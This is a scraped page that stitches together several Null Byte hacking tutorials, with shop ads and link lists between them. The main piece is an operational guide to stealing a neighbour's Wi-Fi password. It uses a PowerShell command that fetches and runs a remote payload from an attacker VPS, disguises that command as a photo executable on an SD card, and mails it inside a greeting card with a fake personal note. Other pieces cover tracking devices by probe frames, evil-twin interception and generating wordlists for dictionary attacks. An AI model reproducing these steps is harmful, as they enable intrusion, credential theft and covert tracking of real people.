- xxxxxxxxxxxxxxxxx (AzureWave Technology Inc.) -> WILDKATT Mon, 23 Jul 2018 04:16:50 PDT - xxxxxxxxxxxxxxxxx (AzureWave Technology Inc.) -> WILDKATT Mon, 23 Jul 2018 04:16:54 PDT - xxxxxxxxxxxxxxxxx (Hon Hai Precision Ind. Co.,Ltd.) -> unconfigured Mon, 23 Jul 2018 04:17:02 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:02 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:02 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:02 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:08 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:08 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:08 PDT - xxxxxxxxxxxxxxxxx (Sonos, Inc.) -> Sonos_dAQ4JQp4duS2hT8gqvKEQehK9c Mon, 23 Jul 2018 04:17:13 PDT - xxxxxxxxxxxxxxxxx (Apple, Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:17:13 PDT - xxxxxxxxxxxxxxxxx (Apple, Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:17:14 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:17:14 PDT - xxxxxxxxxxxxxxxxx (Onkyo Corporation) -> ATT5qEg4lg Mon, 23 Jul 2018 04:17:15 PDT - xxxxxxxxxxxxxxxxx (Sonos, Inc.) -> Sonos_dAQ4JQp4duS2hT8gqvKEQehK9c Mon, 23 Jul 2018 04:17:16 PDT - xxxxxxxxxxxxxxxxx (Nest Labs Inc.) -> CrossCamp.us Staff Mon, 23 Jul 2018 04:17:20 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUEST Mon, 23 Jul 2018 04:17:20 PDT - xxxxxxxxxxxxxxxxx (Hewlett Packard) -> TLLP_GUESTWith this broader net established, a hacker can use this output to trigger an action when a specific device is present. To do this, you can do something like using the-ooutput flag to save only probe frames from one device to an output file, then have a program check the data every few seconds for new entries. When one is found, you can program something to happen, knowing that the target device is nearby.Step 5: Attempt a TakeoverAfter locating devices nearby, you may find devices that are broadcasting an ESSID that belongs to an open network. You will recognize these ESSID's because they belong to popularcoffee shops, hotels, and other placeswhere there is public Wi-Fi. If you identify an ESSID that you suspect is public, you can potentially use it to stage a MiTM attack. Because a device will not connect to a network with a password automatically unless the network has the same password, this will only work on open networks or on networks with a password you already know.If deciding to do this, there are many tools available to create fake APs, includingAirgeddon. While we won't revisit creating an evil AP in Airgeddon in this guide, you can check out our how-to below on creating a fake AP with Airgeddon.Don't Miss:How to Steal Wi-Fi Passwords with an Evil Twin AttackThe only significant change to our previous guide on Airgeddon is that instead of creating a fake network from one nearby, you can copy the ESSID from the probe frame and create an open Wi-Fi network with the same name the target device is calling for. If your target connects, then you can proceed to scan the device to learn more about it.This can include the device network name, which is often the user's name in iOS devices. You can also do all the standard evil MiTM things like phishing pages and sniffing the packets coming out of the device to learn about software and apps they are running. While this attack only works against a percentage of devices, it can also be amplified by broadcasting the ESSIDs of common free networks.Probe Frames Can Track You Even When Your Wi-Fi Is 'Off'My research into probe frames has shown that they can be used to identify and track devices even with their Wi-Fi turned off over 800 feet away. What this means for users is that smartphones or laptops can give away your presence and even allow a hacker to write software that reacts specifically to your presence.Because of the way Wi-Fi enabled devices to search for networks to join, it's possible for even greater security risks to emerge when these probe frames include information like the name of networks which have no password set that the device trusts. This allows an attacker to take over the data connection of the target device with no warning for the user.If you want to protect yourself from this kind of snooping, you also need to disable a-GPS, or Wi-Fi assisted GPS, which also uses probe frames to get a better fix on your location. If a-GPS is off and your Wi-Fi is turned off too, then you should be safer against these threats.You can also go into your list of saved networks and delete any networks that don't have a password because broadcasting the names of these networks will decloak your device and cause you to connect automatically. In general, it's not worth the risk for the convenience.As a last note, having a "hidden" Wi-Fi network will cause your device to always be sending probe frames searching for it by name, so be warned if you're trying this ill-advised attempt at security that you're actually just making all of your Wi-Fi enabled devices incredibly easy to track and tie to you, in spite of your device's attempt to randomize your MAC address. MAC address randomization doesn't really help if everything you own is always screaming for the same hidden network.Don't Miss:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonI hope you enjoyed this guide to understanding and using probe frames to track Wi-Fi enabled devices! If you have any questions about this tutorial or probe frames, feel free to leave a comment or reach me on [email protected] Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Stop Retail Stores from Tracking You While Shopping with Your Galaxy Note 3How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Find Your Misplaced iPhone Using Your Apple WatchHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Sync Your Galaxy S3's Music with Any Android Device Without Using Group PlayHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Spy on Network Relationships with Airgraph-NgHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Pick an Antenna for Wi-Fi HackingHow To:Remove the Annoying “Wi-Fi Connected” Notification on AndroidHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Recover a Lost WiFi Password from Any DeviceHow To:Automatically Connect to Free Wi-Fi Hotspots (That Are Actually Free) on Your Samsung Galaxy Note 2How To:Control Anything with a Wi-Fi Relay Switch Using aRestHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Share Your Windows 8 PC's Internet with a Phone or Tablet by Turning It into a Wi-Fi HotspotHow To:FaceTime Forcing LTE Instead of Wi-Fi? Here's How to Fix ItHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:View Battery Levels for All of Your Devices in One AppHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Stop Handing Out Your Wi-Fi Password by Enabling "Guest Mode" on Your ChromecastMobile Surround Sound:How to Make Any Android Device a Wireless Speaker for Your Samsung Galaxy Note 2How To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:See Who's Clogging Up Your Wi-Fi Network with These Free Mobile Apps
How to Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 2 (Executing the Attack) « Null Byte :: WonderHowTo
In theprevious article, we learned how to set up our VPS, configure our PHP server, and developed an in-depth understanding of how the payload works. With all that taken care of, we can get into disguising our payload to appear as an image and crafting the note in the greeting card being delivered to our intended target.To elaborate slightly, we'll convert the "Stage 1" payload we learned about last time into an executable and modify its icon to make it appear to be a normal JPG image. With that out of way, the only thing left to do is put an enticing note in the greeting card and send it out along with the SD card or USB flash drive. After that, we just sit back and relax and wait for the information to hit our PHP server.Previously:How to Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 1 (Creating the Payload)As always, we'll include a section at the end of this guide on how you can lessen your chances of falling victim to a Wi-Fi attack like this. We're not black hats, after all, and this hack is just an exercise to help develop our pentesting and/or white hat skills, and to help educate the general public about hacks that can affect them.Step 1: Find Photos for the Storage DeviceWe'll need to populate the SD card (or USB drive) with at least one real photo to make this attack work. Clicking on one payload executable will open one real photo on the SD card, in addition to stealthfully grabbing Wi-Fi passwords, so that it looks like the executable itself is that photo.It will be possible to have multiple real photos on the SD card and have each payload open a different photo. This will help disguise the attack and prevent the target user from being suspicious of "photos" that don't actually open.Depending on what social engineering angle you take when writing a message in the card, these images can be random vacation photos, adorable puppies, or photos of a person you believe the target will find attractive.Whatever you choose, make sure the images are perfectly even squares and as large as possible. Ideally, an image with the aspect ratio of over 720 x 720, like the square images found onInstagram, will create a perfect icon file. Any uneven or small aspect ratios will cause the icon file to appear with an unusual amount of whitespace around the icon and may cause your attack to fail.Don't Miss:How to Hide Secret Data Inside an Image or Audio File in Seconds Using SteganographyI'll use a singlephoto of a fat cat, but you can do this with as many different photos as you like. The more photo/payload pairs you create, the more likely the target will become curious and begin clicking on files.Step 2: Save the Photos to the Storage DeviceOnce you've found a photo you want to use, save it to the SD card (or USB flash drive). Doing it this way will intersperse real photos with our payloads, but this will result in duplicate photos showing up — the real photo and our fake photo with the payload.Ideally, hide the real photo(s) on the storage device. Windows doesn't display hidden files by default, so there's a good chance your target will not be able to see any files you hide on the device. It would be beneficial to hide the real photos and make only payloads accessible to the target.To hide photos using Windows, right-click on the photo, view the "Properties," then check the "Hidden" attribute followed by "OK."Cat image found at Flickr byCharles Nadeau(CC BY 2.0).Step 3: Convert the Payload Photo into ICO FormatNow that we have a least one image, we can convert the JPG into an ICO format. ICO is an icon file format used by the Windows operating system to display small icon images. To do the conversion, I recommend usingICO Converteronline.After navigating to the ICO converter website, click the "Browse" button to select the photo you wish to convert and be sure to check all of the size (pixels) options available. If you don't check all of them, there's a chance the ICO produced will have an unnecessary amount of whitespace around the icon and cause the image to appear malformed.Then, click the "Convert" button. After a moment, you'll be asked to save the new ICO. Save it to the Downloads folder on your computer — don't save it to the SD card accidentally. We still have to build the PowerShell script into an executable payload that will use this new icon image as well as the photo already on the storage device.Don't Miss:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedStep 4: Install a BAT to EXE ConverterTo convert PowerShell scripts into executables, we'll be using a Windows program calledBAT to EXE Converter(B2E), which will also allow us to change the icon of the executable to make it appear as an image file.I urge readers to use B2E in an offline, sandboxed, or disposable Windows OS virtual machine. B2E wasflagged by VirusTotalas being a potentially malicious file. There are many virtual Windows machines at my disposal, so I didn't hesitate to try this program. And being a determined hacker, I'll use whatever program necessary to achieve my goal. B2E may be dangerous or harmful to your computer. Install and use with caution.To install the program, head over to theB2E download page, complete the CAPTCHA, and click the big "Download" button. The F2KO (the developer) website uses a modern CAPTCHA system, which requires you to allow the website temporary use of your computer's CPU to minecryptocurrency. The CAPTCHA process will cause your CPU to spike dramatically while the crpyto-miner is working. When the B2E download is completed, simply close the browser tab to stop the miner.If you're not comfortable letting the F2KO website use your CPU in exchange for the B2E software, you can download the B2E .zip from my GitHub page where I'm currently hosting adownload mirror.After acquiring the "Bat_To_Exe_Converter.zip", open the archive, and click on the "Bat_To_Exe_Converter_(Installer).exe" to start installing B2E. The B2E installer will ask you to select your preferred language, agree to the license agreement, and select an installation destination. Continue clicking "Next" until the installer is complete, and B2E will open automatically.Step 5: Convert the Stage 1 Script to EXECopy the below "Stage 1" script into the B2E window that pops up. We discussed this script in detail inthe last article, if you need to refresh your memory.powershell -ExecutionPolicy Bypass "IEX (New-Object Net.WebClient).DownloadString('http://YOUR-VPS-IP-HERE/payload.ps1');"Remember to change the "YOUR-VPS-IP-HERE" address to the IP address of your VPS running the PHP server.Then, click the "Save" button and name the file whatever you like — it won't affect any part of the hack. I'll name it as "tokyoneon." Check the "Icon" option, select the image ICO we created earlier inStep 3, and use "64 Bit | Window (Invisible)" as theExe-Formatoption. The "Invisible" option will prevent any cmd terminals from popping up when files on the SD card (or USB drive) are opened.Next, click on the "Convert" button to create the executable. You'll be asked by B2E to select a save destination. Save the newly converted EXE to the SD card (or USB drive), and you're done!This payload will just send a request for ourStage 2payload located on our PHP server, which will look for the storage device name and the real photo on the storage device, then show them the real photo when clicking the image while sending back their Wi-Fi credentials to us on the server.Step 6: Pick the Right Greeting CardThere's a good chance you've needed to purchase a greeting card for a friend, coworker, or relative at some point in your life. Buying a greeting card for your intended target and using it to deliver the SD card (or USB drive) and your payload isn't too different. Ask yourself: what kind of greeting card would they buy for themselves?There will likely be many greeting card options available to you. The kind of card and note you leave for the intended target will likely rely heavily on your casual day-to-day observations of them.Image by niloo138/123RFWhen you last saw your neighbor, were they out walking their dog? A greeting card covered in impossibly cute puppies might be well suited for them.Is your intended target a 25-year-old male who sometimes brings home different girlfriends? A romantic or Valentine's Day card containing some suggestive text might be a better fit.Unfortunately, the observations we make of our neighbors will likely be very shallow and we may find ourselves relying on unfair stereotypes. Try to be as observant as possible and choose the greeting card that will most likely invoke strong feelings of excitement and curiosity in your target.Step 7: Fill Out the Greeting Card (Optional)What's written on the greeting card needs to be believable enough to seduce the target into wondering what content is on the SD card (or USB drive). The writing on the card can be very minimal, just one or two sentences, but keep in mind how you are planning to send the card later. If you are targeting them directly, use their name but make sure to do enough research on them to make sure what you say makes sense. If you mention their kid's name, it better be their real kid's name.However, you could also try to go the random route, and not mention any names on the card or envelope. They will likely still open it, and they might even be more enticed to look into what's on the storage device. You could also try using the wrong name on the envelope and in the card, but it's a federal crime to open someone else's mail, so this will likely not happen unless they think money is in the card.Don't Miss:How to Extract Email Addresses from an SMTP ServerBelow is an example intended for a birthday card. If you found that your target's birthday is coming up or just recently happened, this will work like a charm, especially if you know their kin's name, but if not, it'll be pretty suspicious.Hey Mom,Happy Birthday! Sorry, we couldn't visit this year. Hope all your bday wishes come true!P.S. The kids put a little surprise for you on the SD card!KevinEnd the card with the remark about the SD card (or USB drive). It's better to be vague and make the content on the storage device a mystery. Let that be the last thing your target reads so that it's fresh in their mind when they put the greeting card down.Below is another example probably better suited for the "hopeless romantic" type.Hey Andrew,I'm sorry for everything and wish we could be together again. Maybe someday you can forgive me? I put something special for you on the SD card...<3Love,StephanieThe goal is to illustrate some interesting or dramatic scenario that will spark a curious itch in your target's mind that can only be satisfied by inserting the SD card into their computer. Maybe Andrew parties a lot and can't remember whom he brings home at night, so this might do the trick.You could also forgo any message in the greeting card, but that could warn them to our maneuver. Who gets a greeting card without anything written on it?Step 8: Deliver the GoodsWith our VPS hosting ourStage 2 PowerShell payloadand PHP server, our greeting card inscribed with a convincing handwritten note, and our SD card (or USB drive) containing theStage 1 PowerShell payload/s, it's time to put it all together and deliver the greeting card to our intended target. We have two options here.Option 1: Drop the Card Off DirectlyNot using a paid mail service would certainly expedite the process. After all, it seems silly to actually mail the package to your target, especially if your target is a neighbor in the apartment next door. Just place the envelope above or near the intended target's mailbox where they're most likely to see it.However, doing this is dangerous. The package would be clean — too clean. Have you ever received a package in the mail that wasn't corroded, dirty, or mishandled? It also wouldn't receive an official stamp from the post office legitimizing its process through the mailing system. Delivering the package like this will likely arouse suspicion and give your target reason to believe the attacker is local and nearby.Option 2: Mail the Card & WaitTo maximize the potential for success, place a postage stamp on the package, drop it in a mailbox, and wait 3–10 business days for it to be delivered to your target. This way, the package will be properly processed by the mailing services, stamped, and adequately battered while en route to its destination. The mailman might even hand-deliver the package to the intended target. This will go a long way in creating a sense of legitimacy.The major downside to taking this approach is the week you'll need to wait before the target receives the package. It's riskier, but be sure not to include a return address on the package. If the package is rejected, lost in the mail, or for some reason isn't able to be delivered to your target, you'll simply need to count that as a failed attempt.Don't Miss:How to Use Kismet to Watch Wi-Fi User Activity Through WallsWhen you're ready to send the package to your targets home, don't address the package to any one person. Only include the delivery address on the center of the envelope. This will hopefully arouse curiosity, and it's no crime to open it, since and it's a letter addressed to their address with no name. If you performed advanced recon andfound out their name and other personal details, it's better to go with the name approach.Step 9: Find Their Wi-Fi CredentialsWith a little luck, your target clicked on a payload. Back on your VPS, a new file containing their Wi-Fi credentials would have been created. SSH back into your VPS and change into the phpServer directory as we did inthe first articlewhen testing the PHP server. Use thelsandcatcommands to view and read files in the phpServer directory.No Payload Is PerfectThis PowerShell attack isn't perfect. If the target device is using an Ethernet cable to connect to the router, the above PowerShell payload won't work. If the target device is not connected to the internet, there's no contingency or redundancy built-in to the payload that forces a connection to the internet; the HTTP request will fail and the Wi-Fi credentials will not reach your VPS. And, of course, if the target inserts the SD card into their digital camera or smartphone, they'll be able to view hidden photos but won't be able to execute the payloads.It's also worth noting that every day this article is online, this attack becomes less and less effective. Thousands of Null Byte readers begin using similar PowerShell payloads and uploading them to virus scanners likeVirusTotal, a public database of malware which distributes payloads and detection information to major antivirus companies around the world. This is harmful to the success of such hacks. This is the cat-and-mouse game hackers play with antivirus software companies.There may never be aperfectpayload for compromising a computer. If you know a more effective payload method than the PowerShell method featured in this article, feel free to use that payload with the social engineering greeting card trick.Don't Miss:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Protect YourselfDon't insert strange SD cards or USB flash drives into your computers. It seems obvious, but it has to be said. If you find a strange storage device in a public place, on the ground, or even in your bag or home — don't trust it.If youreallycan't help but find out what content is on a storage device, use an isolated and offline computer — not your primary or favorite laptop.If you're using Windows, use the "Detailed" layout view in the File Manager. This will display file type information and may help you spot strange or suspicious file types.If you're using Windows OS, make sure file type extensions are not "Hidden".Don't open packages in the mail that are not directly addressed to you — no matter how big or small.Share this article. It seems silly, but public awareness can go a long way. If more people understood how far hackers will go to compromise a wireless network, they might be more suspicious of strange items arriving in the mail.The Cost of This Wi-Fi HackThis kind of attack is by no means a quick solution for compromising someone's Wi-Fi network. This hack can take hours to set up and days to go from configuring the server to executing the payload. Only a very patient, methodical, and determined hacker would exercise this kind of attack. And let's not forget the financial cost of all of this.VPS: $5SD card: $7–$20greeting card: $4–$9postage: about $2The moral cost is more difficult to gauge. This article is a lot different from other content online you'll find related toWi-Fi hacking. Some readers might define this method as extreme, overkill, invasive, or creepy — and they would be correct. Manysocial engineering tactics and techniquesgo far beyond "unethical." At least now we know what kinds of devious tricks attackers might use to gain access to our home or work networks and what we can do to better protect ourselves.I'm curious to know what social engineering tricks readers have to offer. How do you feel about using a greeting card as a payload delivery system? Leave your comments below.And until next time, you can find me on the darknet.Don't Miss:How to Know if You've Been HackedFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Nul Byte; Screenshots by tokyoneon/Null ByteRelatedHow To:Hack Wi-Fi Networks with BettercapHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:The Ultimate Guide to Hacking macOSHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 1 (Creating the Payload)How To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherAndroid for Hackers:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)Hacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)Video:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Recover a Lost WiFi Password from Any DeviceHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Turn Any Phone into a Hacking Super Weapon with the SonicNews:8 Tips for Creating Strong, Unbreakable Passwords
How to Generate Word-Lists with Python for Dictionary Attacks « Null Byte :: WonderHowTo
As perAlex's request, I am posting about generating word-lists in Python.However, this is my FIRST attempt with Python, so please provide me with critiques and any and all comments. I really want to know what you think as there was a little bump here and there seeing as I am transitioning from C#.Why the Program?Well, let's just run through a simple scenario: you're about to hack a vulnerable login page, but you think that brute-force is going to take ages (in fact, there's a decent chance it will), so why not try out a dictionary attack first? Because it's faster.[Please check my math here. I have not slept in the last 30 hours. I am not responsible for nonsense hereafter!]The English alphabet is 26 characters in length, and a 5 character password utilising brute force is 26^5, assuming it is not uppercase and has no special characters. 26^5 = 11881376 combinations! And that's the easy tier. Try a full dictionary—916132832 combinations (includes just upper, lower case and numbers).In these instances, you might want to try a dictionary attack. Now assuming a user has a password such as "thistle", a normal dictionary will suffice, but what if a password is "xZya6"?Well this is the program for you!RequirementsPythonStep1Beginning of Your Code#! C:\python27import string, randomThe above two lines are the beginning of our code.Since I am working on windowzer, my first line points to where I installed my Python. For linux users, change it to#!/usr/bin/pythonThe import declaration just tells the program to import the string handling library and a library to handle random chars.Step2The Meat & BonesNow, if we think about it, we want to be able to do the following:Tell the program how short each word should be.Tell the program how long each word should be.Tell the program how many words to generate.So enter these lines:minimum=input('Please enter the minimum length of any give word to be generated: ')maximum=input('Please enter the maximum length of any give word to be generated: ')wmaximum=input('Please enter the max number of words to be generate in the dictionary: ')Now decide on what kind of alphabet you will use—I chose the below:alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYX0123456789'Replace above with -alphabet = string.letters[0:52] + string.digits + string.punctuation..for runtime-generated alphabet in full ascii (no special symbols such as ¶)Next, declare the placeholder for our words.string=''Now, we tell Python to open a empty text file in write mode ("w"). (Linux users, point it your respective directory, or just write the file name if the file is next to your PY script)FILE = open("wl.txt","w")Now we write a loop which will range from 0 to the maximum number of words you defined, and generate words that hold random characters from the alphabet we defined earlier, in random order at variable length (assuming your min/max values were not identical on imput).for count in xrange(0,wmaximum):for x in random.sample(alphabet,random.randint(minimum,maximum)):string+=xNow we tell Python to write the strings (words) to the file we pointed the program to, by using '\n' to tell Python to separate each word in a new line.FILE.write(string+'\n')And the last functions are just: (1) Clear the string, (2) Close the file after editing—very important as changes might not register if it is not closed—and (3) prints the word "Done!" after finishing.string=''FILE.close()print 'DONE!'And that's it! Give it a go!Source CodeDownload it here!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Make a Locked File Cracker with PythonDeath Sentence for SCRABBLE:The Racism Debate Continues...How to Train Your Python:Part 11, Tuples and DictionariesHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)News:The Ultimate SCRABBLE Word List ResourceHow To:Create Custom Wordlists for Password Cracking Using the MentalistHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How To:Brute-Force Nearly Any Website Login with HatchHow To:Add Foreign Language Dictionaries to Your iPhone to Look Up Definitions FasterHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Fully Customize Your Samsung Galaxy S3's Dictionary Using Old Tweets, Statuses, Emails, & TextsHow To:Personalize Your Android's Dictionary with Words from Your Emails, Texts, & Social MediaScrabble Challenge #5:Put Your 2-Letter Word Skills to the TestHow To:Use the Hidden Thesaurus on Your iPhone in iOS 12 for Fast Synonym Searches in 'Look Up'Tutorial:Password Profiling with CUPPHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How to Train Your Python:Part 13, Advanced Lists, Slicing, and ComprehensionNews:Advanced Cracking Techniques, Part 1: Custom DictionariesWeekend Homework:How to Become a Null Byte ContributorNews:How Controversy Changed SCRABBLEGoodnight Byte:Coding a Web-Based Password Cracker in PythonSCRABBLE Evolution:From Boards & Brew to Pockets & Programs to Cheats & CheatingNews:Scrabble Dumbs Down Its Game with 3,000 New WordsNews:Possible New SCRABBLE Words?How To:How Hackers Steal Your Internet & How to Defend Against ItNews Alert:Scrabble Makes You SmarterRevealed:Hundreds of words to avoid using onlineHow To:Play and Win Bananagrams – Scrabble's Addictive and Fast-Paced CousinNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Score Big with Simple 2-Letter Words in ScrabbleHow To:Hack Mac OS X Lion PasswordsScrabble Bingo of the Day:HOOSGOWNews:Obama supports drone attacksNews:A Step Back-"words" — SCRABBLE Trickster Hits UK StoresNews:SCRABBLE Now Allows Proper Nouns
Coding with Typo: Structured Query Language (SQL) Part 1: What Is SQL? « Null Byte :: WonderHowTo
Welcome to the first coding tutorial on SQL here on Null Byte.Typo:I am first off, very proud to present this series, because it is not only thefirst programming language I learned,but SQL has never seen Null Byte before, and I will now introduce this to you, and everybody else joining this community in the future.I hope I will be good at explaining this series, as I hope I also do in my other series, because nobody has told me i'mgood or bad, so I hope i'm good and people can understand what I mean.What Is SQL?First you need to know what SQL is!SQL = Structured Query Language& it is exactly what it says. It's a language that is structured in queries.You can use it for managing databases only, and you'll need an software to code in it. There are also websites who provide you a way to practice your skills.If you want a very on point description of this language, I have a video from YouTube you can freely watchhereSQL or SEQUEL?If you are just a bit familiar withSQL, you'll know that there are 2 ways to pronounce this language.SQL&SEQUEL.SEQUELwas the name this language was originally dubbed, but because of a company already having that name, it was forced to change its name, which then became >SQL.You can still however pronounce it in both ways if you wish.Once again, if you want a little more in depth explanation on this, you can do sohereWhat I'll Be Covering:I will teach you the basics of SQL, and show you the most popular commands such as:SELECTFROMINSERTUPDATEDROPJOINand many moreWhen I am finished you'll be a master of SQL.I am also going to teach you how to setup a SQL server, but that is far in the future, because you have a lot to learn first.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:SQL Injection! -- Detailed Introduction.Coding with Typo:Structured Query Language: (SQL) Part 2: Getting the EssentialsSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:How to Avoid Detection & Bypass DefensesHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:Common Defense Methods Hackers 